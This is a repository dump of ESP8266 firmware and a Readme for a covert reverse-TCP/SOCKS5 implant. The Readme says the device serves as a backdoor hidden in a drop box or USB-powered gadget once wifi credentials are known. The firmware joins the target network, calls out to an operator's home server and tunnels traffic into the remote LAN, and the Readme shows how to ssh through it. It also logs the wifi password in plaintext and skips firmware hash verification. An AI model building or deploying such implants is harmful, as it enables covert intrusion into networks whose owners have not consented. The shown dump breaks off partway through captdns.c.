├── private_ssid_config.h
├── user
├── page.h
├── ota.h
├── captdns.h
├── webserver.h
├── reverse_tcp.h
├── config.h
├── flash.h
├── main.h
├── page.c
├── flash.c
├── ota.c
├── reverse_tcp.c
├── main.c
├── webserver.c
└── captdns.c
├── .gitignore
├── Makefile
├── Readme.md
├── main.py
└── socks5.py
/private_ssid_config.h:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/user/page.h:
--------------------------------------------------------------------------------
1 | #ifndef PAGE_H
2 | #define PAGE_H
3 |
4 | char * page_content;
5 |
6 | #endif
--------------------------------------------------------------------------------
/user/ota.h:
--------------------------------------------------------------------------------
1 | #ifndef OTA_H
2 | #define OTA_H
3 | void ota_start(const char * _ip);
4 | #endif
5 |
--------------------------------------------------------------------------------
/user/captdns.h:
--------------------------------------------------------------------------------
1 | #ifndef CAPTDNS_H
2 | #define CAPTDNS_H
3 |
4 | void captdnsInit(void);
5 | #endif
6 |
--------------------------------------------------------------------------------
/user/webserver.h:
--------------------------------------------------------------------------------
1 | #ifndef WEBSERVER_H
2 | #define WEBSERVER_H
3 |
4 | void webserverInit(void);
5 |
6 | #endif
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | *.bin
2 | user/wifis_spots.h
3 | user/user_config.h
4 | build/
5 | eagle/*.b#*
6 | *.pyc
7 | *#*
8 | user/version.h
9 |
--------------------------------------------------------------------------------
/user/reverse_tcp.h:
--------------------------------------------------------------------------------
1 | #ifndef REVERSE_TCP_H
2 | #define REVERSE_TCP_H
3 |
4 | void start_reverse_tcp(const char * _ip, int _port);
5 |
6 | #endif
7 |
--------------------------------------------------------------------------------
/user/config.h:
--------------------------------------------------------------------------------
1 | #ifndef CONFIG_HPP
2 | #define CONFIG_HPP
3 |
4 | #define DEFAULT_SSID "esp-rfid"
5 | #define TFTP_IMAGE_FILENAME "firmware.bin"
6 |
7 | #endif
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | PROGRAM=reverse_sock5
2 | PROGRAM_SRC_DIR=./user
3 | EXTRA_COMPONENTS=extras/rboot-ota extras/dhcpserver extras/http-parser
4 |
5 | include /home/mehdi/Mehdi/perso/esp-open-rtos/common.mk
--------------------------------------------------------------------------------
/user/flash.h:
--------------------------------------------------------------------------------
1 | #ifndef FLASH_H
2 | #define FLASH_H
3 |
4 |
5 | void flash_erase_all();
6 | int flash_key_value_set(const char *key,const char *value);
7 | int flash_key_value_get(char *key,char *value);
8 |
9 | #endif
--------------------------------------------------------------------------------
/user/main.h:
--------------------------------------------------------------------------------
1 | #ifndef USER_MAIN_H
2 | #define USER_MAIN_H
3 | #include "espressif/esp_common.h"
4 |
5 |
6 | bool get_button_pressed();
7 | bool is_connected();
8 | bool load_server(char * _server, int *_port);
9 | bool load_network(struct sdk_station_config* _config);
10 | bool save_network(char * _essid, char *_password);
11 | bool save_server(char * _server, int _port);
12 |
13 | bool get_serial(uint8_t *_c);
14 |
15 | void set_green_led(bool _status);
16 | void set_green_led_blink(bool _status, unsigned int _frequency);
17 | void set_red_led(bool _status);
18 | void set_red_led_blink(bool _status, unsigned int _frequency);
19 | #endif
--------------------------------------------------------------------------------
/user/page.c:
--------------------------------------------------------------------------------
1 | #include "page.h"
2 |
3 | char * page_content= "HTTP/1.0 200 OK\nContent-Type:text/html\n\n
Reverse-tcp SERIAL....TIME_BUILD DATE_BUILD
GIT_VERSION \n";
4 |
--------------------------------------------------------------------------------
/Readme.md:
--------------------------------------------------------------------------------
1 | #Esp8266-reverse-socks5
2 |
3 | Reverse http proxy, reverse tcp, reverse socks5 proxy based on the esp8266.
4 |
5 | Once you know the wifi credential, this projects aims to setup a reverse tcp backdoor.
6 |
7 | It can be hidden in a dropable box or any usb powered devices
8 |
9 |  
10 |
11 | Uses the esp8266 with a known wifi access point to build a reverse socks5 tunnel.
12 |
13 | - Setup your esp-open-rtos path in the makefile
14 | - Flash and start the esp: ````make flash````
15 | - wait it creates a configuration access point
16 | - connect to [http://172.16.0.1/](http://172.16.0.1/)
17 | - configure wifi and home server
18 | - do not forget to fill the ````Security check```` with the serial id as returned by ````sdk_system_get_chip_id()````
19 | - reboot
20 |
21 | ## Socks5 proxy
22 |
23 | On the server side:
24 | ````python main.py -s -r 8888 -l 8889````
25 |
26 | And then connect to localhost:8889 with a socks5 client to access the remote network.
27 | For ssh, it would be:
28 |
29 | ````ssh -v -o ProxyCommand='nc -X 5 -x 127.0.0.1:8889 %h %p' 192.168.x.x```` # remote local machine
30 |
31 | ## HTTP proxy
32 |
33 | On the server side:
34 |
35 | ````python main.py -p -r 8888 -l 8889````
36 |
37 | ````HTTP_PROXY="127.0.0.1:8889" wget http://hackaday.com````
38 |
39 | ## Raw TCP socket
40 |
41 | On the server side:
42 |
43 |
44 | ````python main.py -r 8888 -l 8889````
45 |
46 | ````echo "hello from server" | nc localhost 8889````
47 |
--------------------------------------------------------------------------------
/user/flash.c:
--------------------------------------------------------------------------------
1 | #include "flash.h"
2 | #include "esp/spi.h"
3 | #include
4 | #include "espressif/esp_common.h"
5 |
6 | // #define START_SECTOR 0x3C
7 | // #define START_ADDRESS 0x3C000
8 |
9 | #define START_SECTOR 0x7E
10 | #define START_ADDRESS 0x7E000
11 |
12 | char *find_key(const char *key,char *settings) {
13 |
14 | int n;
15 | for(n=0;n<1024;n+=128) {
16 | if(strcmp(key,settings+n) == 0) return settings+n;
17 | }
18 | return 0;
19 | }
20 |
21 | static char *find_free(char *settings) {
22 |
23 | int n;
24 | for(n=0;n<1024;n+=128) {
25 | if(settings[n] == 0) return settings+n;
26 | }
27 | return 0;
28 | }
29 |
30 | void flash_erase_all() {
31 | char settings[1024];
32 |
33 | int n;
34 | for(n=0;n<1024;n++) settings[n]=0;
35 |
36 | // ETS_UART_INTR_DISABLE();
37 | sdk_spi_flash_erase_sector(START_SECTOR);
38 | sdk_spi_flash_write(START_ADDRESS,(uint32_t *)settings,1024);
39 | // ETS_UART_INTR_ENABLE();
40 | }
41 |
42 |
43 | int flash_key_value_set(const char *key,const char *value) {
44 |
45 | if(strlen(key) > 64) return 1;
46 | if(strlen(value) > 64) return 1;
47 |
48 | char settings[1024];
49 | sdk_spi_flash_read(START_ADDRESS, (uint32_t *) settings, 1024);
50 |
51 | char *location = find_key(key,settings);
52 | if(location == NULL) {
53 | location = find_free(settings);
54 | }
55 |
56 | if(location == NULL) return 0;
57 |
58 | strcpy(location,key);
59 | strcpy(location+64,value);
60 |
61 | // ETS_UART_INTR_DISABLE();
62 | sdk_spi_flash_erase_sector(START_SECTOR);
63 | sdk_spi_flash_write(START_ADDRESS,(uint32_t*)settings,1024);
64 | // ETS_UART_INTR_ENABLE();
65 |
66 | return 1;
67 | }
68 |
69 | int flash_key_value_get(char *key,char *value) {
70 | if(strlen(key) > 64) return 0;
71 | if(strlen(value) > 64) return 0;
72 |
73 | char settings[1024];
74 |
75 | sdk_spi_flash_read(START_ADDRESS, (uint32_t *) settings, 1024);
76 |
77 | char *location = find_key(key,settings);
78 |
79 | if(location == NULL) {
80 | value[0]=0;
81 | return 0;
82 | }
83 | strcpy(value,location+64);
84 | return 1;
85 | }
--------------------------------------------------------------------------------
/user/ota.c:
--------------------------------------------------------------------------------
1 | #include "ota.h"
2 | #include "config.h"
3 | #include "main.h"
4 |
5 | #include
6 | #include "FreeRTOS.h"
7 | #include "task.h"
8 | #include "esp8266.h"
9 | #include "ssid_config.h"
10 | // #include "mbedtls/sha256.h"
11 |
12 | #include "ota-tftp.h"
13 | #include "rboot-api.h"
14 |
15 | /* Output of the command 'sha256sum firmware1.bin' */
16 | static const char *FIRMWARE1_SHA256 = "";
17 | #define TFTP_PORT 69
18 |
19 | static char * m_ip;
20 |
21 | static void tftpclient_download_and_verify(int slot, rboot_config *conf)
22 | {
23 | char * filename = TFTP_IMAGE_FILENAME;
24 | printf("Downloading %s to slot %d...\n", filename, slot);
25 | int res = ota_tftp_download(m_ip, TFTP_PORT, filename, 1000, slot, NULL);
26 | printf("ota_tftp_download %s result %d\n", filename, res);
27 |
28 | if (res != 0) {
29 | return;
30 | }
31 |
32 | printf("Looks valid, calculating SHA256...\n");
33 | uint32_t length;
34 | bool valid = rboot_verify_image(conf->roms[slot], &length, NULL);
35 | // static mbedtls_sha256_context ctx;
36 | // mbedtls_sha256_init(&ctx);
37 | // mbedtls_sha256_starts(&ctx, 0);
38 | // valid = valid && rboot_digest_image(conf->roms[slot], length, (rboot_digest_update_fn)mbedtls_sha256_update, &ctx);
39 | // static uint8_t hash_result[32];
40 | // mbedtls_sha256_finish(&ctx, hash_result);
41 | // mbedtls_sha256_free(&ctx);
42 |
43 | if(!valid)
44 | {
45 | printf("Not valid after all :(\n");
46 | return;
47 | }
48 |
49 | printf("Image SHA256 = ");
50 | valid = true;
51 | // for(int i = 0; i < sizeof(hash_result); i++) {
52 | // char hexbuf[3];
53 | // snprintf(hexbuf, 3, "%02x", hash_result[i]);
54 | // printf(hexbuf);
55 | // if(strncmp(hexbuf, FIRMWARE1_SHA256+i*2, 2))
56 | // valid = false;
57 | // }
58 | printf("\n");
59 |
60 | if(!valid) {
61 | printf("Downloaded image SHA256 didn't match expected '%s'\n", FIRMWARE1_SHA256);
62 | return;
63 | }
64 |
65 | printf("SHA256 Matches. Rebooting into slot %d...\n", slot);
66 | rboot_set_current_rom(slot);
67 | sdk_system_restart();
68 | }
69 |
70 | void start_client() {
71 | printf("TFTP client task starting...\n");
72 | rboot_config conf;
73 | conf = rboot_get_config();
74 | int slot = (conf.current_rom + 1) % conf.count;
75 | printf("Image will be saved in OTA slot %d.\n", slot);
76 | if(slot == conf.current_rom) {
77 | printf("FATAL ERROR: Only one OTA slot is configured!\n");
78 | while(1) {}
79 | }
80 |
81 |
82 | tftpclient_download_and_verify(slot, &conf);
83 | }
84 |
85 | void otacheck_task(void *pvParameters) {
86 | while(1) {
87 | printf("=============%s\n",__TIME__);
88 | printf("Ota check");
89 |
90 | rboot_config conf = rboot_get_config();
91 | printf("\r\n\r\nOTA Basic demo.\r\nCurrently running on flash slot %d / %d.\r\n\r\n",
92 | conf.current_rom, conf.count);
93 |
94 | printf("Image addresses in flash:\r\n");
95 | for(int i = 0; i
3 | #include "espressif/esp_common.h"
4 | #include "FreeRTOS.h"
5 | #include "task.h"
6 |
7 | #include "lwip/sockets.h"
8 | #include "lwip/err.h"
9 | #include "lwip/sys.h"
10 | #include
11 |
12 |
13 | char m_server[256];
14 | char m_client[256];
15 | int m_port;
16 | int m_port_client;
17 |
18 | int create_socket(char *_server, int _port) {
19 | int sockfd;
20 | struct sockaddr_in serverSockAddr;
21 | struct hostent *serverHostEnt;
22 | long hostAddr;
23 | bzero(&serverSockAddr,sizeof(serverSockAddr));
24 | hostAddr = inet_addr(m_server);
25 | if ( (long)hostAddr != (long)-1)
26 | bcopy(&hostAddr,&serverSockAddr.sin_addr,sizeof(hostAddr));
27 | else
28 | {
29 | serverHostEnt = gethostbyname(_server);
30 | if (serverHostEnt == NULL)
31 | {
32 | printf("gethost fail\n");
33 | return -1;
34 | }
35 | bcopy(serverHostEnt->h_addr,&serverSockAddr.sin_addr,serverHostEnt->h_length);
36 | }
37 | serverSockAddr.sin_port = htons(_port);
38 | serverSockAddr.sin_family = AF_INET;
39 |
40 | if ( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0) {
41 | printf("failed to create socket\n");
42 | return -1;
43 | }
44 |
45 | if(connect( sockfd,
46 | (struct sockaddr *)&serverSockAddr,
47 | sizeof(serverSockAddr)) < 0 ) {
48 | printf("conection failed\n");
49 | return -1;
50 | }
51 | return sockfd;
52 | }
53 |
54 | char server_buffer[256];
55 | char client_buffer[256];
56 | int sockfd_server = -1;
57 | int sockfd_client = -1;
58 |
59 | TaskHandle_t server_client_task = NULL;
60 | TaskHandle_t client_server_task = NULL;
61 | bool running;
62 |
63 | void reverse_tcp_stop() {
64 | printf("Stopping...\n");
65 | if(server_client_task != NULL) {
66 | vTaskDelete( server_client_task );
67 | }
68 |
69 | if(client_server_task != NULL) {
70 | vTaskDelete( client_server_task );
71 | }
72 |
73 | server_client_task = NULL;
74 | client_server_task = NULL;
75 |
76 | if(sockfd_client != -1) {
77 | close(sockfd_client);
78 | }
79 |
80 | if(sockfd_server != -1) {
81 | close(sockfd_server);
82 | }
83 |
84 | sockfd_client = -1;
85 | sockfd_server = -1;
86 | printf("Stopped...\n");
87 | }
88 |
89 | void reverse_tcp_client_to_server(void *pvParameters) {
90 | while(true) {
91 | int res = read(sockfd_client, client_buffer, sizeof(client_buffer));
92 | if(res > 0) {
93 | write(sockfd_server, client_buffer, res);
94 | vTaskDelay(100 / portTICK_PERIOD_MS );
95 | } else {
96 | printf("client read error\n");
97 | vTaskDelay(100);
98 | reverse_tcp_stop();
99 | }
100 | }
101 | }
102 |
103 | void reverse_tcp_server_to_client(void *pvParameters) {
104 | while(true) {
105 | memset(server_buffer, 0, sizeof(server_buffer));
106 | int res = read(sockfd_server, server_buffer, sizeof(server_buffer));
107 | if(res > 0) {
108 | if(sockfd_client < 0) {
109 | char * newline = strstr(server_buffer, "\n");
110 | char * separator = strstr(server_buffer, ":");
111 | if(separator != NULL) {
112 | int value_len = separator - server_buffer;
113 | memcpy(m_client, server_buffer, value_len);
114 | m_client[value_len] = '\0';
115 | char *p = server_buffer + value_len + 1; // ":" length
116 | m_port_client = strtol(p, NULL, 10);
117 | printf("Tunneling %s:%d <=> %s:%d\n", m_server, m_port, m_client, m_port_client);
118 | sockfd_client = create_socket(m_client, m_port_client);
119 | if(sockfd_client < 0) {
120 | printf("Could not connect to client\n");
121 | } else {
122 | printf("Tunnel started\n");
123 | xTaskCreate(reverse_tcp_client_to_server, (const char *)"reverse_tcp_client_to_server", 512, NULL, 1, &client_server_task);
124 | char *data = newline+1;
125 | int length = res - (data - server_buffer);
126 | if(length < res) {
127 | write(sockfd_client, data, length);
128 | }
129 | }
130 | }
131 | } else {
132 | write(sockfd_client, server_buffer, res);
133 | }
134 | vTaskDelay(100 / portTICK_PERIOD_MS );
135 | } else {
136 | printf("server read error\n");
137 | running = false;
138 | vTaskDelay(100);
139 | }
140 | }
141 | }
142 |
143 | void reverse_tcp_task(void *pvParameters) {
144 | while(1) {
145 | printf("Connecting to %s:%d\n",m_server, m_port);
146 | running = true;
147 | sockfd_server = create_socket(m_server, m_port);
148 | bool start = true;
149 | if(sockfd_server < 0) {
150 | printf("Could not connect to server\n");
151 | start = false;
152 | }
153 |
154 | if(start) {
155 | printf("starting...\n");
156 | xTaskCreate(reverse_tcp_server_to_client, (const char *)"reverse_tcp_server_to_client", 512, NULL, 1, &server_client_task);
157 | while(running) vTaskDelay(100);
158 | reverse_tcp_stop();
159 | vTaskDelay(100);
160 | }
161 |
162 |
163 | // sockfd_client = create_socket(m_client, m_port_client);
164 | // if(sockfd_client < 0) {
165 | // printf("Could not connect to server\n");
166 | // if(sockfd_server >= 0) {
167 | // close(sockfd_server);
168 | // }
169 | // start = false;
170 | // }
171 | //
172 | // if(start) {
173 | // xTaskCreate(reverse_tcp_client_to_server, (const char *)"reverse_tcp_client_to_server", 512, NULL, 1, &client_server_task);
174 | // reverse_tcp_stop();
175 | // }
176 | vTaskDelay(1000 / portTICK_PERIOD_MS);
177 | }
178 | }
179 |
180 |
181 | void start_reverse_tcp(const char * _server, int _port) {
182 | memcpy(m_server, _server, strlen(_server));
183 | m_port = _port;
184 | xTaskCreate(reverse_tcp_task, (const char *)"reverse_tcp_task", 512, NULL, 1, NULL);
185 | }
--------------------------------------------------------------------------------
/user/main.c:
--------------------------------------------------------------------------------
1 | #include "rboot-api.h"
2 |
3 |
4 | #include "reverse_tcp.h"
5 | #include "config.h"
6 | #include "espressif/esp_common.h"
7 | #include "esp/uart.h"
8 | #include "FreeRTOS.h"
9 | #include "task.h"
10 | #include "flash.h"
11 | #include
12 |
13 | #include
14 | #include
15 |
16 | #include "webserver.h"
17 | #include "ota.h"
18 |
19 | #include
20 |
21 | static bool _is_connected;
22 | struct sdk_station_config wifi_config;
23 |
24 | bool save_network(char * _essid, char *_password) {
25 | printf("saving essid=%s, password=%s to flash\n",_essid, _password);
26 | int res_ssid = flash_key_value_set("ssid",_essid);
27 | int res_wpa = flash_key_value_set("pwd",_password);
28 | if(res_ssid == 0 || res_wpa == 0) {
29 | printf("Error saving to flash\n");
30 | flash_erase_all();
31 | return save_network(_essid, _password);
32 | }
33 |
34 | return true;
35 | }
36 |
37 | bool load_network(struct sdk_station_config* _config) {
38 | printf("LOADING\n");
39 | char buffer[128];
40 | int res = flash_key_value_get("ssid",buffer);
41 | if(res == 0) {
42 | printf("n: no ssid\n");
43 | return false;
44 | }
45 |
46 | strcpy((char*)_config->ssid, buffer);
47 |
48 | res = flash_key_value_get("pwd",buffer);
49 | if(res == 0) {
50 | printf("n: no pwd\n");
51 | return false;
52 | }
53 |
54 | strcpy((char*)_config->password, buffer);
55 | printf("found %s\n", _config->ssid);
56 | return true;
57 | }
58 |
59 |
60 | bool save_server(char * _server, int _port) {
61 | printf("saving server http://%s:%d to flash\n",_server, _port);
62 | int res_server = flash_key_value_set("server",_server);
63 |
64 | char port[5];
65 | if(sprintf(port, "%d", _port)) {
66 | int res_port = flash_key_value_set("port",port);
67 |
68 | if(res_server == 0 || res_port == 0) {
69 | printf("Error saving to flash\n");
70 | flash_erase_all();
71 | return false;
72 | }
73 | } else {
74 | printf("bad port %d\n", _port);
75 | }
76 |
77 | return false;
78 | }
79 |
80 | bool load_server(char * _server, int *_port) {
81 | int res_server = flash_key_value_get("server",_server);
82 | char buffer[5];
83 | int res_port = flash_key_value_get("port",buffer);
84 |
85 | if(res_server == 1 && res_port == 1) {
86 | if( _port != NULL ) {
87 | *_port = strtol(buffer, NULL, 10);
88 | }
89 | return true;
90 | } else {
91 | return false;
92 | }
93 | }
94 |
95 |
96 | bool get_button_pressed() {
97 | return gpio_read(0) != false;
98 | }
99 |
100 | void connect(struct sdk_station_config* _config) {
101 | printf("connecting to %s\n",_config->ssid);
102 | sdk_wifi_set_opmode(STATION_MODE);
103 | sdk_wifi_station_set_config(_config);
104 | }
105 |
106 | void setup_ap() {
107 | printf("creating %s\n", DEFAULT_SSID);
108 |
109 | sdk_wifi_set_opmode(SOFTAP_MODE);
110 | struct ip_info ap_ip;
111 | IP4_ADDR(&ap_ip.ip, 172, 16, 0, 1);
112 | IP4_ADDR(&ap_ip.gw, 0, 0, 0, 0);
113 | IP4_ADDR(&ap_ip.netmask, 255, 255, 0, 0);
114 | sdk_wifi_set_ip_info(1, &ap_ip);
115 |
116 | struct sdk_softap_config ap_config = {
117 | .ssid = DEFAULT_SSID,
118 | .ssid_hidden = 0,
119 | .channel = 3,
120 | .ssid_len = strlen(DEFAULT_SSID),
121 | .authmode = AUTH_OPEN,
122 | .password = "",
123 | .max_connection = 3,
124 | .beacon_interval = 100,
125 | };
126 | sdk_wifi_softap_set_config(&ap_config);
127 |
128 | ip_addr_t first_client_ip;
129 | IP4_ADDR(&first_client_ip, 172, 16, 0, 2);
130 | dhcpserver_start(&first_client_ip, 4);
131 | captdnsInit();
132 | }
133 |
134 | bool is_connected() {
135 | return _is_connected;
136 | }
137 |
138 |
139 | static void wifi_task(void *pvParameters) {
140 | uint8_t status = 0;
141 | uint8_t retries = 30;
142 | while (1) {
143 | _is_connected = false;
144 |
145 | while ((status != STATION_GOT_IP) && (retries)) {
146 | status = sdk_wifi_station_get_connect_status();
147 | printf("%s: status = %d\n\r", __func__, status);
148 | --retries;
149 | if (status == STATION_WRONG_PASSWORD) {
150 | printf("WiFi: wrong password\n\r");
151 | break;
152 | } else if (status == STATION_NO_AP_FOUND) {
153 | printf("WiFi: AP not found\n\r");
154 | break;
155 | } else if (status == STATION_CONNECT_FAIL) {
156 | printf("WiFi: connection failed\r\n");
157 | break;
158 | }
159 | vTaskDelay(1000 / portTICK_PERIOD_MS);
160 | }
161 |
162 | if(retries == 0) {
163 | setup_ap();
164 | while(true) {
165 | vTaskDelay(1000 / portTICK_PERIOD_MS);
166 | }
167 | }
168 |
169 | while ((status = sdk_wifi_station_get_connect_status())
170 | == STATION_GOT_IP) {
171 | if ( ! _is_connected ) {
172 | printf("WiFi: Connected\n\r");
173 | _is_connected = true;
174 |
175 | char buffer[256];
176 | memset(buffer, 0, 256);
177 | int port;
178 | if(load_server(buffer, &port)) {
179 | start_reverse_tcp(buffer, port);
180 | }
181 | }
182 | vTaskDelay(500 / portTICK_PERIOD_MS);
183 | }
184 |
185 | _is_connected = false;
186 | printf("WiFi: disconnected\n\r");
187 | vTaskDelay(1000 / portTICK_PERIOD_MS);
188 | }
189 | }
190 |
191 | //Init function
192 | void user_init() {
193 | _is_connected = false;
194 | uart_set_baud(0, 9600);
195 |
196 |
197 | uint32_t id = sdk_system_get_chip_id();
198 | printf("#%d\n", id);
199 | webserverInit();
200 |
201 |
202 | if( load_network(&wifi_config)) {
203 | connect(&wifi_config);
204 | xTaskCreate(wifi_task, (const char *)"wifi_task", 512, NULL, 1, NULL);//1024,866
205 | } else {
206 | flash_erase_all();
207 | setup_ap();
208 | }
209 | }
210 |
--------------------------------------------------------------------------------
/user/webserver.c:
--------------------------------------------------------------------------------
1 | #include "webserver.h"
2 | #include "ota.h"
3 | #include "espressif/esp_common.h"
4 | #include "config.h"
5 | #include
6 |
7 | #include "FreeRTOS.h"
8 | #include "task.h"
9 | #include "queue.h"
10 |
11 | #include "lwip/sockets.h"
12 | #include "lwip/err.h"
13 | #include "lwip/sys.h"
14 |
15 | #include "http-parser/http_parser.h"
16 | #include "page.h"
17 | #include "main.h"
18 |
19 | #define BACKLOG 10
20 | #define MAX_POST_REQUEST_SIZE 2048
21 |
22 | const char * path_start = NULL;
23 | int path_length = 0;
24 |
25 | const char * data_start = NULL;
26 | int data_length = 0;
27 |
28 | char* replace(char* str, char* a, char* b)
29 | {
30 | int len = strlen(str);
31 | int lena = strlen(a), lenb = strlen(b);
32 | char *p;
33 | for (p = str; (p = strstr(p, a)); ++p) {
34 | if (lena != lenb) // shift end as needed
35 | memmove(p+lenb, p+lena,
36 | len - (p - str) + lenb);
37 | memcpy(p, b, lenb);
38 | p+=strlen(b);
39 | }
40 | return str;
41 | }
42 |
43 | int create_and_bind() {
44 | int yes=1;
45 | struct sockaddr_in my_addr;
46 | int sockfd = 0;
47 | int portf = 80;
48 |
49 | if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
50 | perror("socket");
51 | return -1;
52 | }
53 |
54 | if (setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int)) == -1) {
55 | perror("setsockopt");
56 | return -1;
57 | }
58 |
59 | my_addr.sin_family = AF_INET;
60 | my_addr.sin_port = htons(portf);
61 | my_addr.sin_addr.s_addr = INADDR_ANY;
62 | memset(&(my_addr.sin_zero), '\0', 8);
63 |
64 | if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
65 | perror("bind");
66 | return -1;
67 | }
68 |
69 | if (listen(sockfd, BACKLOG) == -1) {
70 | perror("listen");
71 | return -1;
72 | }
73 | return sockfd;
74 | }
75 |
76 | static bool http_get_post_value(const char *_data, const char * _key, char *_output) {
77 | char start_key[64];
78 | const char * key_end = "\r\n--";
79 | if(sprintf(start_key, "name=\"%s\"\r\n\r\n", _key) > 0) {
80 | char * value_start = strstr(_data, start_key);
81 | if(value_start != NULL) {
82 | value_start += strlen(start_key);
83 | char * value_end = strstr(value_start, key_end);
84 |
85 | int value_len = value_end - value_start;
86 | memcpy(_output, value_start, value_len);
87 | _output[value_len] = '\0';
88 | return true;
89 | }
90 | }
91 | _output[0] = '\0';
92 | return false;
93 | }
94 |
95 | int my_url_callback (http_parser* _parser, const char *at, size_t length) {
96 | printf("my_url_callback\n");
97 |
98 | path_start = at;
99 | path_length = length;
100 |
101 | char format[10];
102 | memset(format, 0, 10);
103 | sprintf(format, "%%.%ds\n", length);
104 |
105 | printf(format,path_start);
106 | return 0;
107 | }
108 |
109 | int my_body_callback (http_parser* _parser, const char *at, size_t length) {
110 | printf("===BODY===========\n");
111 |
112 | data_start = at;
113 | data_length = length;
114 |
115 | char format[10];
116 | memset(format, 0, 10);
117 | sprintf(format, "%%.%ds\n", length);
118 |
119 | // printf(format,data_start);
120 |
121 | // really really basic security check
122 | bool check = false;
123 | uint32_t id = sdk_system_get_chip_id();
124 | char security[5];
125 | if( http_get_post_value(data_start, "security", security) ) {
126 | uint32_t _id = strtol(security, NULL, 10);
127 | if(id == _id) {
128 | check = true;
129 | }
130 | }
131 | if(! check) {
132 | return 0;
133 | }
134 | bool reset = false;
135 | char essid[33];
136 | char password[128];
137 |
138 | bool res = http_get_post_value(data_start, "essid", essid);
139 | res &= http_get_post_value(data_start, "password", password);
140 |
141 |
142 | if(res && essid[0] != '\0' && password[0] != '\0') {
143 | reset = save_network(essid, password);
144 | }
145 |
146 | char server[128];
147 | char port[5];
148 |
149 | res = http_get_post_value(data_start, "server", server);
150 | res &= http_get_post_value(data_start, "port", port);
151 |
152 | if(res && server[0] != '\0' && port[0] != '\0') {
153 | int port_number = strtol(port, NULL, 10);
154 | save_server(server, port_number);
155 | reset = true;
156 | }
157 | char upg[256];
158 | memset(upg, 0, 256);
159 | res = http_get_post_value(data_start, "upgrade", upg);
160 | if(res && strcmp(upg, "upgrade") == 0) {
161 | struct sockaddr_in addr;
162 | socklen_t addr_size = sizeof(struct sockaddr_in);
163 | if(getpeername(*((int*)_parser->data), (struct sockaddr *)&addr, &addr_size) == 0 ) {
164 | const char * ip = inet_ntoa(addr.sin_addr);
165 | printf("fetching upg from %s\n", ip);
166 | ota_start(ip);
167 | } else {
168 | printf("Could not get client ip\n");
169 | }
170 | }
171 |
172 | if(reset) {
173 | printf("RESET\n");
174 | sdk_system_restart();
175 | }
176 |
177 | return 0;
178 | }
179 |
180 | char buffer[MAX_POST_REQUEST_SIZE];
181 | void handle(int _sockfd, struct sockaddr_in *_addr) {
182 | path_start = NULL;
183 | path_length = 0;
184 |
185 | data_start = NULL;
186 | data_length = 0;
187 |
188 | printf ("handle\n");
189 | memset(buffer, 0, MAX_POST_REQUEST_SIZE);
190 | int recved = read(_sockfd, buffer, MAX_POST_REQUEST_SIZE);
191 | if (recved < 0 ) {
192 | printf(" read error\n");
193 | return;
194 | }
195 | printf("received %d\n%s\n",recved,buffer);
196 |
197 |
198 | // https://github.com/nodejs/http-parser
199 |
200 | http_parser_settings settings = {
201 | /* on_message_begin */ 0,
202 | /* on_url */ 0,
203 | /* on_status */ 0,
204 | /* on_header_field */ 0,
205 | /* on_header_value */ 0,
206 | /* on_headers_complete */ 0,
207 | /* on_body */ 0,
208 | /* on_message_complete */ 0,
209 | /* on_chunk_header */ 0,
210 | /* on_chunk_complete */ 0
211 | };
212 |
213 | settings.on_url = my_url_callback;
214 | settings.on_body = my_body_callback;
215 |
216 | http_parser *parser = malloc(sizeof(http_parser));
217 | http_parser_init(parser, HTTP_REQUEST);
218 | parser->data = &_sockfd;
219 |
220 |
221 | /* Start up / continue the parser.
222 | * Note we pass recved==0 to signal that EOF has been received.
223 | */
224 | int nparsed = http_parser_execute(parser, &settings, buffer, recved);
225 |
226 | if (parser->upgrade) {
227 | /* handle new protocol */
228 | } else if (nparsed != recved) {
229 | /* Handle error. Usually just close the connection. */
230 | }
231 |
232 | int size = strlen(page_content)+128;
233 | char buffer[size];
234 | memset(buffer,0,size);
235 | sprintf(buffer, "%s", page_content);
236 |
237 | uint32_t id = sdk_system_get_chip_id();
238 | char id_buff[10];
239 | sprintf(id_buff, "%d", id);
240 | replace(buffer, "SERIAL", id_buff);
241 |
242 | struct sdk_station_config config;
243 | if(load_network(&config)) {
244 | replace(buffer, "ESSID", (char*)config.ssid);
245 | } else {
246 | replace(buffer, "ESSID", "NONE");
247 | }
248 |
249 | char server[256];
250 | memset(server, 0, 256);
251 | int port = 0;
252 | if(load_server(server, &port)) {
253 |
254 | replace(buffer, "SERVER", server);
255 | char tmp[5];
256 | sprintf(tmp, "%d", port);
257 | replace(buffer, "PORT", tmp);
258 | } else {
259 | replace(buffer, "SERVER", "0.0.0.0");
260 | replace(buffer, "PORT", "-1");
261 | }
262 |
263 | write(_sockfd, buffer, strlen(buffer));
264 | close(_sockfd);
265 | }
266 |
267 | void webserver_task(void *pvParameters) {
268 | int sockfd = create_and_bind();
269 |
270 | while(1) {
271 | socklen_t sin_size;
272 | int new_fd = 0;
273 | sin_size = sizeof(struct sockaddr_in);
274 | struct sockaddr_in their_addr;
275 | if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) {
276 | perror("accept");
277 | return;
278 | }
279 | handle(new_fd, &their_addr);
280 | }
281 | }
282 |
283 | void webserverInit() {
284 | printf("starting webserver\n");
285 | xTaskCreate(webserver_task, (const char *)"webserver_task", 1024, NULL, 3, NULL);//1024,866
286 | }
287 |
--------------------------------------------------------------------------------
/user/captdns.c:
--------------------------------------------------------------------------------
1 |
2 | #include "espressif/esp_common.h"
3 |
4 | #include
5 |
6 | #include "FreeRTOS.h"
7 | #include "task.h"
8 | #include "queue.h"
9 |
10 | #include "lwip/sockets.h"
11 | #include "lwip/err.h"
12 | #include "lwip/sys.h"
13 |
14 | //#include "user_config.h"
15 |
16 | /*
17 | * ----------------------------------------------------------------------------
18 | * "THE BEER-WARE LICENSE" (Revision 42):
19 | * Jeroen Domburg wrote this file. As long as you retain
20 | * this notice you can do whatever you want with this stuff. If we meet some day,
21 | * and you think this stuff is worth it, you can buy me a beer in return.
22 | * ----------------------------------------------------------------------------
23 | */
24 |
25 |
26 | /*
27 | * This is a 'captive portal' DNS server: it basically replies with a fixed IP (in this case:
